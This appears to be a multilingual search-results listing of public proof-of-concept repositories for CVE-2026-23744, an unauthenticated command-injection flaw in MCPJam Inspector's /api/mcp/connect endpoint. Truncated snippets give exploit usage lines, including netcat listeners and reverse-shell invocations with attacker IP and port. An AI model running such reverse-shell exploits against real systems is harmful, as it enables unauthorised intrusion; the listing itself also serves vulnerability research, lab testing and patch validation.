80 matches found
CVE-2026-23744-PoC
CVE-2026-23744-PoC 免责声明： 本概念验证（PoC）仅供 授权的安全研究、教育目的和受控实验室环境（例如 HTB、CTF 或经明确书面同意的内部渗透测试）使用。未经许可对任何系统进行未授权使用是非法且不道德的。作者对滥用不承担任何责任；用户应全权负责遵守所有适用法律法规。 描述 CVE-2026-23744 是 MCPJam Inspector（版本 ≤ 1.4.2）中的一个未认证命令注入漏洞。 /api/mcp/connect 端点接受包含 serverConfig.command 和 serverConfig.args 的 JSON...
mcpExec
mcpExec 是一个利用 CVE-2026-23744 漏洞，通过易受攻击的 MCPJam Inspector 安装的 URL 来获取反向 Shell 的工具。 安装 root@kitploit: git clone https://github.com/daemoncibsec/mcpExec.git cd mcpExec python3 -m venv venv source venv/bin/activate pip install rich pip install argparse pip install requests chmod +x mcpExec.py 要退出虚拟环境...
CVE-2026-23744-RCE
MCPJam Inspector v1.4.2 - RCE 漏洞利用 漏洞描述 MCPJam Inspector 在 /api/mcp/connect 端点存在一个未经验证的远程代码执行（RCE）漏洞。攻击者可以通过发送恶意的 MCP 服务器配置载荷来执行任意命令。 该端点接受一个包含 serverConfig 对象的 JSON 载荷，其中包含 command 和 args 数组，这些内容会在系统上直接执行，未经过适当的验证或清理。 受影响版本 MCPJam Inspector v1.4.2 以及可能更早的版本 使用方法 先决条件 Python 3.6+ requests 库：pip...
CVE-2026-23744-RCE-for-MCPjam-inspector-v1.4.2
CVE-2026-23744-RCE-for-MCPjam-inspector-v1.4.2 当 /api/mcp/connect 端点默认监听所有网络接口（0.0.0.0）且未能正确清理用户提供的传入 serverConfig JSON 对象中 command 和 args 参数的输入时，MCPJam Inspector 3. 启动漏洞利用 root@kitploit: python3 CVE-2026-23744.py -u -i -p 4. 为了更好的使用体验，建议将终端升级为全功能终端，否则无法使用像 ctrl^c 这样的命令。 示例 仅限在受控环境中使用此漏洞利用程序...
CVE-2026-23744-PoC
描述 MCPJam inspector 是面向 MCP 服务器的本地优先开发平台。1.4.2 及更早版本存在远程代码执行（RCE）漏洞，攻击者可发送精心构造的 HTTP 请求，触发 MCP 服务器的安装，从而导致 RCE。由于 MCPJam inspector 默认监听 0.0.0.0 而非 127.0.0.1，攻击者可通过简单的 HTTP 请求远程触发 RCE。1.4.3 版本已包含修复补丁。 受影响版本 漏洞来源| 受影响版本| 已修补版本 ---|---|--- @mcpjam/inspector| 'id /tmp/mcpjampwned.txt' 截图 !\Pasted ima...
CVE-2026-23744
CVE-2026-23744：@mcpjam/inspector 中的未认证远程代码执行漏洞 免责声明： 本仓库及相关脚本仅用于授权的安全评估、渗透测试、安全研究和教育分析。未经明确书面同意对系统进行测试是非法行为，且被严格禁止。作者不对本材料的误解或滥用承担任何责任。 漏洞概述 属性| 详情 ---|--- CVE ID| CVE-2026-23744 CVSS 评分| 9.8（严重） 漏洞类别| 关键功能缺少身份验证（CWE-306） 受影响包| @mcpjam/inspector = 1.4.3 默认绑定| 0.0.0.0（暴露于本地网络 / 互联网）...
MCPJam-Inspector-1.4.2-Remote-Code-Execution-CVE-2026-23744
Kali Linux上 - ターミナル1 nc -lvnp 4444 Kali Linux上 - ターミナル2 python3 ./CVE-2026-23744.py -t http://TARGET.com -p 4444 -i YOUR-KALI-LINUX-IP...
MCPJam Inspector - Remote Code Execution
MCPJam inspector is the local-first development platform for MCP servers. The Latest version 1.4.2 and earlier are vulnerable to a remote code execution RCE vulnerability, which allows an attacker to send a crafted HTTP request that triggers the installation of an MCP server, leading to RCE. id:...
CVE-2026-23744-Remote-Code-Execution-POC
CVE-2026-23744 - MCPJam inspector 远程代码执行：概念验证（POC） MCPJam inspector 3. 运行漏洞利用程序 root@kitploit: python3 exploit.py...
CVE-2026-23744-Lab
CVE-2026-23744 – MCPJam Inspector Docker 实验环境 本仓库是一个小型 Docker 实验环境，用于对比 MCPJam Inspector 针对 CVE-2026-23744 的易受攻击版本与已修补版本 。 它旨在用于学习和构建公开安全作品集：快速搭建、清晰的证据和截图。 ⚠️ 伦理/范围 ：仅在你拥有或获得明确测试许可的系统上进行测试。本仓库仅用于本地复现和文档记录。 本实验环境演示的内容 易受攻击版本（1.4.2） 在容器内监听 0.0.0.0:6274 （如果发布端口，则可通过网络访问）。 已修补版本（1.4.3） 在容器内监听...
exploit-CVE-2026-23744
exploit-CVE-2026-23744 MCPJam Inspector 是一个面向 MCP 服务器的本地优先开发平台。在 1.4.2（及更早）版本中，存在一个 RCE 漏洞，攻击者可发送精心构造的 HTTP 请求来安装 MCP 服务器并远程执行代码，因为该服务默认监听在 0.0.0.0（而非 127.0.0.1）上。 运行方法： 1. 设置相应的端口和 IP 2. 在攻击者机器上设置监听器，例如 "nc -lvnp 4444"（或任意攻击者端口） 3. 执行命令 "python3 run.py"，使用 --target https:// --command echo...
CVE-2026-23744-POC
描述 此漏洞的存在是因为 MCPJam Inspector 暴露了用于调试和开发的内部 API 端点。这些端点接受用户控制的输入，并将其直接传递给系统级进程执行，而无需进行适当的验证或清理。 通过向易受攻击的端点（/api/mcp/connect）发送精心构造的请求，攻击者可以控制 serverConfig 对象，并指定要在主机上执行的任意命令。 该应用程序尝试根据用户输入生成一个进程，并将其视为有效的 MCP 服务器。然而，由于缺乏输入验证，此行为可能被滥用，以执行任意系统命令。 工作原理 该漏洞利用以下逻辑： 1. 后端接受包含以下内容的 JSON 负载： command args...
CVE-2026-23744
CVE-2026-23744 – Prueba de Concepto El script de Python en esta PoC envía una solicitud HTTP simple al host objetivo que ejecuta el inspector MCPJam versión reemplace con su puerto de escucha Luego, abra otra shell y ejecute la PoC: root@kitploit: cd CVE-2026-23744 python3 exploit.py Referencias...
mcpjam-cve-2026-23744-validator
MCPJam Inspector 授权安全验证器 一个针对影响易受攻击 MCPJam Inspector 部署的 CVE-2026-23744 的有界概念验证验证器。 该项目是一个独立的、非破坏性的验证工具，用于先前披露的 CVE-2026-23744。它不是原始漏洞披露或漏洞利用。 此仓库旨在供安全专业人员在验证他们拥有或已获得明确书面授权的系统时使用。 重要提示 此验证器通过使目标 MCPJam Inspector 进程执行一个固定的、非交互式的证据命令来确认暴露风险。它不提供通用的漏洞利用框架、shell、后利用工作流、持久化机制、凭据访问例程或权限提升能力。...
CVE-2026-23744
CVE-2026-23744 MCPJam inspector 远程代码执行：概念验证（POC）用法： root@kitploit: python3 cve-2026-23744.py --target https:// --att-ip --att-p...
CVE-2026-23744
CVE-2026-23744 针对 MCPJam Inspector 使用 pip install -r requirements.txt 安装依赖库 - 使用 python CVE-2026-23744 --help 查看信息 MCPJam inspector 是面向 MCP 服务器的本地优先开发平台。最新版本 1.4.2 及更早版本存在远程代码执行（RCE）漏洞，攻击者可发送特制的 HTTP 请求来触发 MCP 服务器的安装，从而导致远程代码执行。 该漏洞与 CVE-2025-49596 类似，但更为严重。CVE-2025-49596...
CVE-2026-23744-POC
CVE-2026-23744 — MCPJam Inspector 未认证远程代码执行 MCPJam Inspector -i -p -m 反弹 Shell 示例 步骤 1 — 启动你的监听器： root@kitploit: nc -lvnp 4444 步骤 2 — 运行漏洞利用脚本： root@kitploit: bash python3 POC.py -u http://127.0.0.1:6274 -i 10.10.10.10 -p 4444 -m bash 载荷方法 如果目标上 busybox 不可用，请尝试其他方法： root@kitploit: bash python3...
mcpjaminspector-unauth-rce
mcpjaminspector-unauth-rce CVE-2026-23744 MCPJam inspector = 1.4.2 中的 RCE 漏洞详情 https://github.com/MCPJam/inspector/security/advisories/GHSA-232v-j27c-5pp6 使用方法 root@kitploit: usage: mcpjaminspector-unauth-rce.py -h --target TARGET --command COMMAND options: -h, --help show this help message and...
CVE-2026-23744
CVE-2026-23744 — MCPJam Inspector 未授权 RCE CVE-2026-23744 的未授权远程代码执行 PoC。MCPJam Inspector 1.4.2 及更早版本通过 /api/mcp/connect 暴露了相关功能，可在无需认证的情况下启动由攻击者控制的 MCP 服务器命令。 仅限授权测试和研究使用。请勿将其用于你不拥有或未经明确许可进行测试的系统。 功能说明 root@kitploit: HTTP POST - /api/mcp/connect - serverConfig command - process launch - command...